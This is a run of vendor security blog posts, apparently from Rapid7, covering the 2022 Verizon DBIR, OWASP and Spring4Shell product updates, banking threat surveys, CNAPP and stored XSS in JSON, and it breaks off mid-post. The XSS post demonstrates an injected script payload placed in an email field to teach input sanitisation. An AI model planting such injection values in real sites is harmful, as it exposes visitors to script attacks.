Sometimes, data surprises you. When it does, it can force you to rethink your assumptions and second-guess the way you look at the world. But other times, data can reaffirm your assumptions, giving you hard proof they’re the right ones — and providing increased motivation to act decisively based on that outlook.
The 2022 edition of Verizon’s Data Breach Investigations Report (DBIR), which looks at data from cybersecurity incidents that occurred in 2021, is a perfect example of this latter scenario. This year’s DBIR rings many of the same bells that have been resounding in the ears of security pros worldwide for the past 12 to 18 months — particularly, the threat of ransomware and the increasing relevance of complex supply chain attacks.
Here are our three big takeaways from the 2022 DBIR, and why we think they should have defenders doubling down on the big cybersecurity priorities of the current moment.
1. Ransomware’s rise is reaffirmed
In 2021, it was hard to find a cybersecurity headline that didn’t somehow pertain to ransomware. It impacted some 80% of businesses last year and threatened some of the institutions most critical to our society, from primary and secondary schools to hospitals.
This year’s DBIR confirms that ransomware is the critical threat that security pros and laypeople alike believe it to be. Ransomware-related breaches increased by 13% in 2021, the study found — that’s a greater increase than we saw in the past 5 years combined. In fact, nearly 50% of all system intrusion incidents — i.e., those involving a series of steps by which attackers infiltrate a company’s network or other systems — involved ransomware last year.
While the threat has massively increased, the top methods of ransomware delivery remain the ones we’re all familiar with: desktop sharing software, which accounted for 40% of incidents, and email at 35%, according to Verizon’s data. The growing ransomware threat may seem overwhelming, but the most important steps organizations can take to prevent these attacks remain the fundamentals: educating end users on how to spot phishing attempts and maintain security best practices, and equipping infosec teams with the tools needed to detect and respond to suspicious activity.
2. Attackers are eyeing the supply chain
In 2021 and 2022, we’ve been using the term “supply chain” more than we ever thought we would. COVID-induced disruptions in the flow of commodities and goods caused lumber to skyrocket and automakers to run short on microchips.
But security pros have had a slightly different sense of the term on their minds: the software supply chain. Breaches from Kaseya to SolarWinds — not to mention the Log4j vulnerability — reminded us all that vendors’ systems are just as likely a vector of attack as our own.
Unfortunately, Verizon’s Data Breach Investigations Report indicates these incidents are not isolated events — the software supply chain is, in fact, a major avenue of exploitation by attackers. In fact, 62% of cyberattacks that follow the system intrusion pattern began with the threat actors exploiting vulnerabilities in a partner’s systems, the study found.
Put another way: If you were targeted with a system intrusion attack last year, it was almost twice as likely that it began on a partner’s network than on your own.
While supply chain attacks still account for just under 10% of overall cybersecurity incidents, according to the Verizon data, the study authors point out that this vector continues to account for a considerable slice of all incidents each year. That means it’s critical for companies to keep an eye on both their own and their vendors’ security posture. This could include:
Demanding visibility into the components behind software vendors’ applications
Staying consistent with regular patching updates
Acting quickly to remediate and emergency-patch when the next major vulnerability that could affect high numbers of web applications rears its head
3. Mind the app
Between Log4Shell and Spring4Shell, the past 6 months have jolted developers and security pros alike to the realization that their web apps might contain vulnerable code. This proliferation of new avenues of exploitation is particularly concerning given just how commonly attackers target web apps.
Compromising a web application was far and away the top cyberattack vector in 2021, accounting for roughly 70% of security incidents, according to Verizon’s latest DBIR. Meanwhile, web servers themselves were the most commonly exploited asset type — they were involved in nearly 60% of documented breaches.
More than 80% of attacks targeting web apps involved the use of stolen credentials, emphasizing the importance of user awareness and strong authentication protocols at the endpoint level. That said, 30% of basic web application attacks did involve some form of exploited vulnerability — a percentage that should be cause for concern.
“While this 30% may not seem like an extremely high number, the targeting of mail servers using exploits has increased dramatically since last year, when it accounted for only 3% of the breaches,” the authors of the Verizon DBIR wrote.
That means vulnerability exploits accounted for a 10 times greater proportion of web application attacks in 2021 than they did in 2022, reinforcing the importance of being able to quickly and efficiently test your applications for the most common types of vulnerabilities that hackers take advantage of.
Stay the course
For those who’ve been tuned into the current cybersecurity landscape, the key themes of the 2022 Verizon DBIR will likely feel familiar — and with so many major breaches and vulnerabilities that claimed the industry’s attention in 2021, it would be surprising if there were any major curveballs we missed. But the key takeaways from the DBIR remain as critical as ever: Ransomware is a top-priority threat, software supply chains need greater security controls, and web applications remain a key attack vector.
If your go-forward cybersecurity plan reflects these trends, that means you’re on the right track. Now is the time to stick to that plan and ensure you have tools and tactics in place that let you focus on the alerts and vulnerabilities that matter most.
With the release of the new 2021 OWASP Top 10 late last year, OWASP made some fundamental and impactful changes to its ubiquitous reference framework. We published a high-level breakdown of the changes, followed by some deep dives into specific types of threats that made the new Top 10.
But the question remains: How do you apply the latest iteration of the OWASP Top 10 to your application security program?
To help answer this question, we released an OWASP 2021 Attack Template and Report for InsightAppSec. This new feature helps you use the updated categories from OWASP to inform and focus your AppSec program, work closely with development teams to remediate the discovered vulnerabilities, and move toward best practices for achieving compliance.
Let’s take a closer look.
Find
Before we can fix vulnerabilities, we need to find them, and to do that, we need to scan. We may know where to look, but we often lack the specialist knowledge of industry trends and the general threat landscape required to determine what we should be looking for.
Luckily, the OWASP organization has done the hard work for us. The new InsightAppSec OWASP 2021 attack template includes all the relevant attacks for the categories defined in the latest OWASP version.
The new attack module enables you to leverage the knowledge that went into the latest version of the OWASP Top 10 – even with little or no subject matter knowledge – to generate a focused, hopefully small, set of vulnerabilities. Where security and development resources are over-utilized and expensive, using the OWASP scan template ensures we are focusing on the right vulnerabilities.
Fix
Finding vulnerabilities is only part of the journey. If you can’t enable your development teams to remediate vulnerabilities, the entire exercise becomes academic.
That’s why InsightAppSec provides guidance in the form of detailed remediation reports, specifically formatted to provide development teams with all the information and tools required to confirm and remediate the vulnerabilities.
The remediation report includes the Attack Replayfeature found in the product that allows developers to quickly and easily validate the vulnerabilities by replaying the traffic used to identify them.
Report
Although OWASP is not a compliance standard, auditors may view the inclusion of Top 10 scanning as an indication of intent toward good practice, which therefore implies adherence to other compliance standards.
To facilitate this and make it easy for organizations to show good practice, InsightAppSec provides an OWASP report that automatically groups vulnerabilities into the relevant OWASP categories but also includes areas where no vulns have been found.
The OWASP 2021 report gives you an excellent overview of the categories you are successfully addressing and those that may require more focus and attention, giving you actionable information to move your security program forward.
By leveraging the analysis and intel of OWASP and providing workflows right in the product, InsightAppSec gives you control over your AppSec program from scan to remediation enabling the right people, at the right time, with the right information.
Cybersecurity in financial services is a complex picture. Not only has a range of new tech hit the industry in the last 5 years, but compliance requirements introduce another layer of difficulty to the lives of infosec teams in this sector. To add to this picture, the overall cybersecurity landscape has rapidly transformed, with ransomware attacks picking up speed and high-profile vulnerabilities hitting the headlines at an alarming pace.
VMware recently released the 5th annual installment of their Modern Bank Heists report, and the results show a changing landscape for cybersecurity in banking and finance. Here’s a closer look at what CISOs and security leaders in finance said about the security challenges they’re facing — and what they’re doing to solve them.
Destructive threats and ransomware attacks on banks are increasing
The stakes for cybersecurity are higher than ever at financial institutions, as threat actors are increasingly using more vicious tactics. Banks have seen an uptick in destructive cyberattacks — those that delete data, damage hard drives, disrupt network connections, or otherwise leave a trail of digital wreckage in their wake.
63% of financial institutions surveyed in the VMware report said they’ve seen an increase in these destructive attacks targeting their organization — that’s 17% more than said the same in last year’s version of the report.
At the same time, finance hasn’t been spared from the rise in ransomware attacks, which have also become increasingly disruptive. Nearly 3 out of 4 respondents to the survey said they’d been hit by at least one ransomware attack. What’s more, 63% of those ended up paying the ransom.
Supply chain security: No fun in the sun
Like ransomware, island hopping is also on the rise — and while that might sound like something to do on a beach vacation, that’s likely the last thing the phrase brings to mind for security pros at today’s financial institutions.
IT Pro describes island hopping attacks as “the process of undermining a company’s cyber defenses by going after its vulnerable partner network, rather than launching a direct attack.” The source points to the high-profile data breach that rocked big-box retailer Target in 2017. Hackers found an entry point to the company’s data not through its own servers, but those of Fazio Mechanical Services, a third-party vendor.
In the years since the Target breach, supply chain cybersecurity has become an even greater area of focus for security pros across industries, thanks to incidents like the SolarWinds breach and large-scale vulnerabilities like Log4Shell that reveal just how many interdependencies are out there. Now, threats in the software supply chain are becoming more apparent by the day.
VMware’s study found that 60% of security leaders in finance have seen an increase in island hopping attacks — 58% more than said the same last year. The uptick in threats originating from partners’ systems is clearly keeping security officers up at night: 87% said they’re concerned about the security posture of the service providers they rely on.
The proliferation of mobile and web applications associated with the rise of financial technology (fintech) may be exacerbating the problem. VMware notes API attacks are one of the primary methods of island hopping — and they found a whopping 94% of financial-industry security leaders have experienced an API attack through a fintech application, while 58% said they’ve seen an increase in application security incidents overall.
How financial institutions are improving cybersecurity
With attacks growing more dangerous and more frequent, security leaders in finance are doubling down on their efforts to protect their organizations. The majority of companies surveyed in VMware’s study said they planned a 20% to 30% boost to their cybersecurity budget in 2022. But what types of solutions are they investing in with that added cash?
The number 1 security investment for CISOs this year is extended detection and response (XDR), with 24% listing this as their top priority. Closely following were workload security at 22%, mobile security at 21%, threat intelligence at 15%, and managed detection and response (MDR) at 11%. In addition, 51% said they’re investing in threat hunting to help them stay ahead of the attackers.
Today’s threat landscape has grown difficult to navigate — especially when financial institutions are competing for candidates in a tight cybersecurity talent market. In the meantime, the financial industry has only grown more competitive, and the pace of innovation is at an all-time high. Having powerful, flexible tools that can streamline and automate security processes is essential to keep up with change. For banks and finance organizations to attain the level of visibility they need to innovate while keeping their systems protected, these tools are crucial.
I recently wrote a blog post on injection-type vulnerabilities and how they were knocked down a few spots from 1 to 3 on the new OWASP Top 10 for 2022. The main focus of that article was to demonstrate how stack traces could be — and still are — used via injection attacks to gather information about an application to further an attacker’s goal. In that post, I skimmed over one of my all time favorite types of injections: cross-site scripting (XSS).
In this post, I’ll cover this gem of an exploit in much more depth, highlighting how it has managed to adapt to the newer environments of today’s modern web applications, specifically the API and Javascript Object Notation (JSON).
I know the term API is thrown around a lot when referencing web applications these days, but for this post, I will specifically be referencing requests made from the front end of a web application to the back end via ajax (Asynchronous JavaScript and XML) or more modern approaches like the fetch method in JavaScript.
Before we begin, I’d like to give a quick recap of what XSS is and how a legacy application might handle these types of requests that could trigger XSS, then dive into how XSS still thrives today in modern web applications via the methods mentioned so far.
What is cross-site scripting?
There are many types of XSS, but for this post, I’ll only be focusing on persistent XSS, which is sometimes referred to as stored XSS.
XSS is a type of injection attack, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to execute malicious code — generally in the form of a browser-side script like JavaScript, for example — against an unsuspecting end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application accepts an input from a user without sanitizing, validating, escaping, or encoding it.
Because the end user’s browser has no way to know not to trust the malicious script, the browser will execute the script. Because of this broken trust, attackers typically leverage these vulnerabilities to steal victims’ cookies, session tokens, or other sensitive information retained by the browser. They could also redirect to other malicious sites, install keyloggers or crypto miners, or even change the content of the website.
Now for the “stored” part. As the name implies, stored XSS generally occurs when the malicious payload has been stored on the target server, usually in a database, from input that has been submitted in a message forum, visitor log, comment field, form, or any parameter that lacks proper input sanitization.
What makes this type of XSS so much more damaging is that, unlike reflected XSS – which only affects specific targets via cleverly crafted links – stored XSS affects any and everyone visiting the compromised site. This is because the XSS has been stored in the applications database, allowing for a much larger attack surface.
Old-school apps
Now that we’ve established a basic understanding of stored XSS, let’s go back in time a few decades to when web apps were much simpler in their communications between the front-end and back-end counterparts.
Let’s say you want to change some personal information on a website, like your email address on a contacts page. When you enter in your email address and click the update button, it triggers the POST method to send the form data to the back end to update that value in a database. The database updates the value in a table, then pushes a response back to the web applications front end, or UI, for you to see. This would usually result in the entire page having to reload to display only a very minimal amount of change in content, and while it’s very inefficient, nonetheless the information would be added and updated for the end user to consume.
In the example below, clicking the update button submits a POST form request to the back-end database where the application updates and stores all the values, then provides a response back to the webpage with the updated info.
Old-school XSS
As mentioned in my previous blog post on injection, I give an example where an attacker enters in a payload of <script>alert(“This is XSS”)</script> instead of their email address and clicks the update button. Again, this triggers the POST method to take our payload and send it to the back-end database to update the email table, then pushes a response back to the front end, which gets rendered back to the UI in HTML. However, this time the email value being stored and displayed is my XSS payload, <script>alert(“This is XSS”)</script>, not an actual email address.
As seen above, clicking the “update” button submits the POST form data to the back end where the database stores the values, then pushes back a response to update the UI as HTML.
However, because our payload is not being sanitized properly, our malicious JavaScript gets executed by the browser, which causes our alert box to pop up as seen below.
While the payload used in the above example is harmless, the point to drive home here is that we were able to get the web application to store and execute our JavaScript all through a simple contact form. Anyone visiting my contact page will see this alert pop up because my XSS payload has been stored in the database and gets executed every time the page loads. From this point on, the possible damage that could be done here is endless and only limited by the attacker’s imagination… well, and their coding skills.
New-school apps
In the first example I gave, when you updated the email address on the contact page and the request was fulfilled by the backend, the entire page would reload in order to display the newly created or updated information. You can see how inefficient this is, especially if the only thing changing on the page is a single line or a few lines of text. Here is where ajax and/or the fetch method comes in.
Ajax, or the fetch method, can be used to get data from or post data to a remote source, then update the front-end UI of that web application without having to refresh the page. Only the content from the specific request is updated, not the entire page, and that is the key difference between our first example and this one.
And a very popular format for said data being sent and received is JavaScript Object Notation, most commonly known as JSON. (Don’t worry, I’ll get back to those curly braces in just a bit.)
New-school XSS
(Well, not really, but it sounds cool.)
Now, let’s pretend we’ve traveled back to the future and our contact page has been rewritten to use ajax or the fetch method to send and receive data to and from the database. From the user’s point of view, nothing has changed — still the same ol’ form. But this time, when the email address is being updated, only the contact form refreshes. The entire page and all of its contents do not refresh like in the previous version, which is a major win for efficiency and user experience.
Below is an example of what a POST might look like formatted in JSON.
“What is JSON?” you might ask. Short for JavaScript Object Notation, it is a lightweight text format for storing and transferring data and is most commonly used when sending data to and from servers. Remember those curly braces I mentioned earlier? Well, one quick and easy way to spot JSON is the formatting and the use of curly braces.
In the example above, you can see what our new POST looks like using ajax or the fetch method in JavaScript. While the end result is no different than before, as seen in the example below, the method that was used to update the page is quite different. The key difference here is that the data we’re wanting to update is being treated as just that: data, but in the form of JSON as opposed to HTML.
Now, let’s inject the same XSS payload into the same email field and hit update. In the example below, you can see that our POST request has been wrapped in curly braces, using JSON, and is formatted a bit differently than previously before being sent to the back end to be processed.
In the example above, you can see that the application is allowing my email address to be the XSS payload in its entirety. However, the JavaScript here is only being displayed and not being executed as code by the browser, so the alert “pop” message never gets triggered as in the previous example. That again is the key difference from the original way we were fulfilling the requests versus our new, more modern way — or in short, using JSON instead of HTML.
Now you might be asking yourself, what’s wrong with allowing the XSS payload to be the email address if it’s only being displayed and not being executed as JavaScript by the browser. That is a valid question, but hear me out.
See, I’ve been working in this industry long enough to know that the two most common responses to a question or statement regarding cybersecurity begin with either “that depends…” or “what if…” I’m going to go with the latter here and throw a couple what-ifs at you.
Now that my XSS is stored in your database, it’s only a matter of time before this ticking time bomb goes off. Just because my XSS is being treated as JSON and not HTML now does not mean that will always be the case, and attackers are betting on this.
Here are a few scenarios.
Scenario 1
What if team B handles this data differently from team A? What if team B still uses more traditional methods of sending and receiving data to and from the back end and does leverage the use of HTML and not JSON?
In that case, the XSS would most likely eventually get executed. It might not affect the website that the XSS was originally injected into, but the stored data can be (and usually is) also used elsewhere. The XSS stored in that database is probably going to be shared and used by multiple other teams and applications at some point. The odds of all those different teams leveraging the exact same standards and best practices are slim to none, and attackers know this.
Scenario 2
What if, down the road, a developer using more modern techniques like ajax or the fetch method to send and receive data to and from the back end decides to use the .innerHTML property instead of .innerTEXT to load that JSON into the UI? All bets are off, and the stored XSS that was previously being protected by those lovely curly braces will now most likely get executed by the browser.
Scenario 3
Lastly, what if the current app had been developed to use server-side rendering, but a decision from higher up has been made that some costs need to be cut and that the company could actually save money by recoding some of their web apps to be client-side rather than server-side?
Previously, the back end was doing all the work, including sanitizing all user input, but now the shift will be for the browser to do all the heavy lifting. Good luck spotting all the XSS stored in the DB — in its previous state, it was “harmless,” but now it could get rendered to the UI as HTML, allowing the browser to execute said stored XSS. In this scenario, a decision that was made upstream will have an unexpected security impact downstream, both figuratively and literally — a situation that is all too well-known these days.
Final thoughts
Part of my job as a security advisor is to, well, advise. And it’s these types of situations that keep me up at night. I come across XSS in applications every day, and while I may not see as many fun and exciting “pops” as in years past, I see something a bit more troubling.
This type of XSS is what I like to call a “sleeper vuln” – laying dormant, waiting for the right opportunity to be woken up. If I didn’t know any better, I’d say XSS has evolved and is aware of its new surroundings. Of course, XSS hasn’t evolved, but the applications in which it lives have.
At the end of the day, we’re still talking about the same XSS from its conception, the same XSS that has been on the OWASP Top 10 for decades — what we’re really concerned about is the lack of sanitization or handling of user input. But now, with the massive adoption of JavaScript frameworks like Angular, libraries like React, the use of APIs, and the heavy reliance on them to handle the data properly, we’ve become complacent in our duties to harden applications the proper way.
There seems to be a division in camps around XSS in JSON. On the one hand, some feel that since the JavaScript isn’t being executed by the browser, everything is fine. Who cares if an email address (or any data for that matter) is potentially dangerous — as long as it’s not being executed by the browser. And on the other hand, you have the more fundamentalist, dare I say philosophical thought that all user input should never be trusted: It should always be sanitized, regardless of whether it’s treated as data or not — and not solely because of following best coding and security practices, but also because of the “that depends” and “what if” scenarios in the world.
I’d like to point out in my previous statement above, that “as long as” is vastly different from “cannot.” “As long as” implies situational awareness and that a certain set of criteria need to be met for it to be true or false, while “cannot” is definite and fixed, regardless of the situation or criteria. “As long as the XSS is wrapped in curly braces” means it does not pose a risk in its current state but could in other states. But if input is sanitized and escaped properly, the XSS would never exist in the first place, and thus it “cannot” or could not be executed by the browser, ever.
I guess I cannot really complain too much about these differences of opinions though. The fact that I’m even having these conversations with others is already a step in the right direction. But what does concern me is that it’s 2022, and we’re still seeing XSS rampant in applications, but because it’s wrapped in JSON somehow makes it acceptable. One of the core fundamentals of my job is to find and prioritize risk, then report. And while there is always room for discussion around the severity of these types of situations, lots of factors have to be taken into consideration, a spade isn’t always a spade in application security, or cybersecurity in general for that matter. But you can rest assured if I find XSS in JSON in your environment, I will be calling it out.
I hope there will be a future where I can look back and say, “Remember that one time when curly braces were all that prevented your website from getting hacked?” Until then, JSON or not, never trust user data, and sanitize all user input (and output for that matter). A mere { } should never be the difference between your site getting hacked or not.
There’s no shortage of acronyms when it comes to security product categories. DAST, EDR, CWPP — it sometimes feels like we’re awash in a sea of letters, and that can be a little dizzying. Every once in a while, though, a new term pops up that cuts through the noise, thanks to a combination of catchiness and excitement about that product category’s potential to solve the big problems security teams face. (Think of XDR, for a recent example.)
Cloud-native application protection platform, or CNAPP, is one of those standout terms that has the potential to solve significant problems in cloud security by consolidating a list of other “C” letter acronyms. Gartner introduced CNAPP as one of its cloud security categories in 2021, and the term quickly began to make headlines. But what’s the reality behind the hype? Is CNAPP an all-in-one answer to building secure apps in a cloud-first ecosystem, or is it part of a larger story? Let’s take a closer look.
New needs of cloud-native teams
CNAPP is a cloud security archetype that takes an integrated, lifecycle approach, protecting both hosts and workloads for truly cloud-native application development environments. These environments have their own unique demands and challenges, so it should come as little surprise that new product categories have arisen to address those concerns.
Cloud infrastructures are inherently complex — that makes it tougher to monitor these environments, potentially opening the door to security gaps. If you’re building applications within a cloud platform, the challenge multiplies: You need next-level visibility to ensure your environment and the applications you’re building in it are secure from the ground up.
A few trends have emerged within teams building cloud-native applications to address their unique needs.
DevSecOps: A natural extension of the DevOps model, DevSecOps brings security into the fold with development and operations as an integral part of the same shared lifecycle. It makes security everyone’s business, not just the siloed responsibility of a team of infosec specialists.
Shift left: Tied into the DevSecOps model is the imperative to shift security left — i.e. earlier in the development cycle — making it a fundamental aspect of building applications rather than an afterthought. The “bake it in, don’t bolt it on” adage has become almost cliché in security circles, but shifting left is in some ways a more mature — and arguably more radical — version of this concept. It changes security from something you do to an application to part of what the application is. Security becomes part of the fundamental conception and design of a web app.
All of that said, the real challenge here comes down to security teams trying to monitor and manage large-scale, complex cloud environments – not to mention trying to generate buy-in from other teams and get them to collaborate on security protocols that may occasionally slow them down.
How CNAPP hopes to help
To bring DevSecOps and shift-left practices to life, teams need tools that support the necessary levels of visibility and flexibility that underlie these goals. That brings us to where CNAPP fits into this picture.
“Optimal security of cloud-native applications requires an integrated approach that starts in development and extends to runtime protection,” Gartner writes in their report introducing CNAPP, according to Forbes. “The unique characteristics of cloud-native applications makes them impossible to secure without a complex set of overlapping tools spanning development and production.”
Forbes goes on to outline the 5 core components that Gartner uses in its definition of CNAPP:
• Infrastructure as code (IaC) scanning: Because infrastructure is managed and provisioned as code in many cloud environments, this code must be continuously scanned for vulnerabilities.
• Container scanning: The cloud has made containers an integral part of application development and deployment — these must also be scanned for security threats.
• Cloud workload protection (CWPP): This type of security solution focuses on protecting workloads in cloud data center architectures.
• Cloud infrastructure entitlement management (CIEM): This cloud security category streamlines identity and access management (IAM) by providing least-privileged access and governance controls for distributed cloud environments.
• Cloud security posture management (CSPM): CSPM capabilities continuously manage cloud security risk, with automated detection, logging, and reporting to aid governance and compliance.
A holistic approach to cloud-native security
You might have noticed some of the components of CNAPP are themselves cloud security categories as defined by Gartner. How are they different from CNAPP? Do you need all of them individually, or are they available in a single package? What gives?
While CNAPP is meant to be a product category, right now the broad set of capabilities in Gartner’s definition describes an ideal future state that remains rare in the industry as a single solution. The fact remains there aren’t many vendors out there that have all these components, even across multiple product sets – let alone the ability to fit them into a single solution.
That said, vendors and practitioners can start working together now to bring that vision to life. While there are and will continue to be products that label or identify themselves as a CNAPP, what’s really needed is a comprehensive approach to cloud security – both from the technology provided by vendors and the strategy executed by practitioners – that simplifies the process of monitoring and remediating risks from end to end within vast, complex cloud environments.
The cloud is now dominant, and infrastructure is increasingly becoming code — that means scanning for vulnerabilities within infrastructure and in applications have begun to look more alike than ever. Just like DevSecOps brings development, security, and operations together into (ideally) a harmonious unit, application security testing and cloud security monitoring are coequal, integral parts of a truly cloud-native security platform.
The real excitement around CNAPP is that by bringing once-disparate cloud security concepts together, it shines a light on what today’s organizations really need: a full-access path to a secure cloud ecosystem, with all the necessary speed of innovation and deployment and as little risk as possible.
For the second year in a row, Rapid7 has been named a Visionary in the Gartner® 2022 Magic Quadrant for Application Security Testing. We believe we accomplished this by combining an industry-leading dynamic application security testing (DAST) solution with container and cloud security, security across the software development life cycle (SDLC), strategic partnerships, and a customer-centric approach that anticipates the needs of not just security teams but DevOps teams as well. All in a package that is easy to utilize and highly accurate.
We are proud of the approach we have taken to keeping applications and APIs safe and secure. We recognized early that while DAST is the bedrock of a strong application security program, it works best when combined with the core capabilities we have built into our platform that allow for teams across the company to work together, rather than be siloed and inefficient.
Workflows that actually work for your business
We offer support for developer stakeholders across the SDLC (pre- and post-production), actively moving left in the lifecycle, and ensuring that applications and APIs are secure throughout the development process. This means teams can work cross-functionally, saving time and resulting in stronger security protections baked into the applications themselves. Our Attack Replay feature allows developers to confirm a vulnerability on their own, without the need to run a scan, making it even easier to find and remediate risks at any point in the process.
“The product provides our developers with actionable solutions to security risks that was missed during development.”
At Rapid7, we are very proud of our history of innovative, modern, and forward-thinking vulnerability management solutions. However, it takes more than that to secure modern web applications. InsightAppSec integrates with the Insight platform, giving you a full view of your production environment. We have made a series of strategic investments and partnerships to expand the level and competency of our Insight platform, including those with Snyk and Checkmarx, which ensure that InsightAppSec is prepared to cover every level of your attack surface from every angle.
Our focus on cloud-native applications, in particular, means we have the tools to protect the most cutting-edge applications and to help those transitioning into the cloud — all with the ease and confidence that comes from our customer-centric approach to application security.
“In my opinion InsightAppSec approaches DAST the optimal way, with a cloud-based interface and the ability to spin up on-premises engines to perform scans. This means we’re not responsible for software updates, and the on-premises engines have an auto-update functionality that make them very low maintenance.”
At the heart of our capabilities is our world-class DAST. It’s powerful, it’s accurate, it’s streamlined, and it’s cloud-based. This allows for security teams to spin up scans quickly and easily. We frequently hear from customers that we provide the most reliable results. Our Universal Translator allows coverage and attacks to be developed in parallel and released to customers as they are available, and it lets users perform security testing for traditional applications and modern applications.
“Our experience with Rapid7 products has always been positive. InsightAppSec is a great solution for DAST scanning of web apps and API. It gives great results even in unauthenticated scans and has a great UI.”
We are truly excited to be recognized as a Visionary in the latest Magic Quadrant, but we’re more excited for the many plans we have to improve and grow our AppSec offerings. We have always sought to redefine what modern application security looks like and are grateful to our customers and partners for taking this exciting journey with us.
Source: Gartner, Magic Quadrant for Application Security Testing, Dale Gardner, Mark Horvath, Dionisio Zumerle, 18th April
Gartner and Magic Quadrant are registered trademarks of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved.
Gartner does not endorse any vendor, product or service depicted in its research publications and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s Research & Advisory organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.
To the left, to the left, to the right, right — the CI/CD Pipeline is on the move.
DevSecOps is all about adding security across the application lifecycle. A popular approach to application security is to shift left, which means moving security earlier in the software development lifecycle (SDLC). This makes sense: If you find a critical security bug in production, it costs a lot more to resolve it than if you found it in development.
In Q1 2022, we’ve continued to invest in improvements to InsightAppSec and tCell that help organizations shift left and automate security testing prior to production deployment. And at the same time, we’ve made other enhancements to make your life easier. Oh… and we added new attacks and blocking rules for Spring4Shell.
Shifting app security testing left in the CI/CD pipeline
Your development teams are innovating and releasing features and new experiences faster than ever before. Manual testing can no longer keep up with the speed of innovation. Taking a DevSecOps approach means baking security across the application lifecycle and includes shifting left whenever possible.
Dynamic application security testing (DAST) solutions simulate attacks just like the attackers, and they’re known for their accuracy and coverage across a wide range of technologies. However, traditional DAST solutions have struggled to work with modern applications and software development methodologies.
Since the launch of InsightAppSec — Rapid7’s industry leading cloud-native DAST — we’ve focused on providing coverage of modern applications, as well as being able to integrate as far left as the build process.
“Our app developers don’t need to come to me, they don’t need to come to our team, they don’t need to send emails. They don’t need to go through any formalities. When they commit code, the scan happens automatically. And, we created the metrics. So, if they see high-rated vulnerabilities they cannot push to production. The code will get blocked and they have to remediate it.”
– Midhun Kumar, Head of Infrastructure and Cloud Operations, Pearl Data Direct
GitHub Actions allows development teams to automate software workflows. With our new InsightAppSec Scan Action for GitHub, you can easily pull down the repo and add it to your DevOps pipelines. As part of your actions, you can trigger the InsightAppSec scan and have the results passed back into GitHub actions. If you want, you can add scan gating to prevent vulnerable code from being deployed to production.
GitLab CI/CD can automatically build, test, deploy, and monitor your applications. With our new InsightAppSec Scan Job, you can add a Docker command in your pipeline to trigger a scan. The results are sent back, and you can add scan gating to prevent vulnerable code from being deployed to production.
CVE-2022-22965, a zero-day vulnerability announced on April 1st, is no April Fools’ Day joke. While it’s not as dreadful as Log4Shell, it should still be patched, and there are reports of the Spring4Shell flaw being used to install the Mirai Botnet malware.
To help our customers secure their applications and understand their risk from Spring4Shell, Rapid7 released new capabilities, including:
New RCE Attack Module for Spring4Shell (InsightAppSec)
New Block Rule for Spring4Shell (tCell)
New Detection of CVE-2022-22965 in running applications (tCell)
Other enhancements
InsightAppSec comes with the ability to create custom dashboards to quickly view and get insights on the risk and status of your program. Relying on feedback from customers, we recently added the ability to create dashboards based on certain apps or groups of apps. This allows you to quickly view risk in context of what matters.
Customers often like to manage their applications at scale, and one of the easiest ways to do that is via the tCell API. Significant feature enhancements include App Firewall event and block rules, OS commands, Local Files, suspicious actors, and more have all been added or updated. Check out our API documentation.
Rapid7’s application security portfolio can help you shift left as well as shift right, depending on your needs and the status of your program. You can integrate InsightAppSec DAST into your CI/CD pipelines before deployment to production. And with tCell, you can add web application and API protection for your production environments.
The warm weather is starting to roll in, the birds are chirping, and Spring… well, Spring4Shell is making a timely entrance. If you’re still recovering from Log4Shell, we’re here to tell you you’re not alone. While discovery and research of CVE-2022-22965 is evolving, Rapid7 is committed to providing our customers updates and guidance. In this blog, we wanted to share some recent product enhancements across our application security portfolio to help our customers with easy ways to test and secure their apps against Spring4Shell.
What is Spring4Shell?
Before we jump into how we can help you with our products, let’s give a quick overview of Spring4Shell. CVE-2022-22965 affects Spring MVC and Spring WebFlux applications running JDK versions 9 and later. A new feature was introduced in JDK version 9 that allows access to the ClassLoader from a Class. This vulnerability can be exploited for remote code execution (RCE). If you’re looking for more detailed information on Spring4Shell, check out our overview blog here.
Updated: RCE Attack Module for Spring4Shell
Customers leveraging InsightAppSec, our dynamic application security testing (DAST) tool, can regularly assess the risk of their applications. InsightAppSec allows you to configure 100+ types of web attacks to simulate real-world exploitation attempts. While it may be April 1st, we’re not foolin’ around when it comes to our excitement in sharing this update to our RCE Attack Module that we’ve included in the default All Modules Attack Template – specifically testing for Spring4Shell.
Cloud customers who already have the All Modules Attack Template enabled will automatically benefit from this new RCE attack as part of their regular scan cadence. Please note that these updates are only available for InsightAppSec cloud engines. However, we expect updates for on-premises engines to follow shortly. For those customers with on-premises engines, make sure to have auto-upgrade turned on for your on-prem engines to have the latest and greatest version of the engine.
NEW: Block against Spring4Shell attacks
In addition to assessing your applications for attacks with InsightAppSec, we’ve also got you covered when it comes to protecting your in-production applications. With tCell, customers can both detect and block anomalous activity, such as Spring4Shell exploit attempts. Check out the GIF below on how to enable the recently added Spring RCE block rule in tCell.
NEW: Identify vulnerable packages (such as CVE-2022-22965)
A key component of Spring4Shell is detecting whether or not you have any vulnerable packages. tCell customers leveraging the Java agent can determine if they have any vulnerable packages, including CVE-2022-22965, in their runtime environment.
Simply navigate to tCell on the Insight Platform, select your application, and navigate to the Packages and Vulns tab. Here you can view any vulnerable packages that were detected at runtime, and follow the specified remediation guidance.
Currently, the recommended mitigation guidance is for Spring Framework users to update to the fixed versions. Further information on the vulnerability and ongoing guidance are being provided in Spring’s blog here.
Utilize OS commands
One of the benefits of using tCell’s app server agents is the fact that you can enable blocking (after confirming you’re not blocking any legitimate commands) for OS commands. This will prevent a wide range of exploits including Shell commands. Below you will see an example of our OS Commands dashboard highlighting the execution attempts, and in the second graphic, you’ll see the successfully blocked OS command events.
What’s next?
We recommend following Spring’s latest guidance on remediation to reduce risk in your applications. If you’re looking for more information at any time, we will continue to update both this blog, and our initial response blog to Spring4Shell. Additionally, you can always reach out to your customer success manager, support resources, or anyone on your Rapid7 account team. Happy April – and here’s to hoping the only shells you deal with in the future are those found on the beach!
NEVER MISS A BLOG
Get the latest stories, expertise, and news about security today.
If you are like many in the cybersecurity industry, any mention of a zero-day in an open-source software (OSS) library may cause a face-palm or audible groans, especially given the fast-follow from Log4Shell. While discovery and research is evolving, we’re posting the facts we’ve gathered and updating guidance as new information becomes available.
What Rapid7 customers can expect
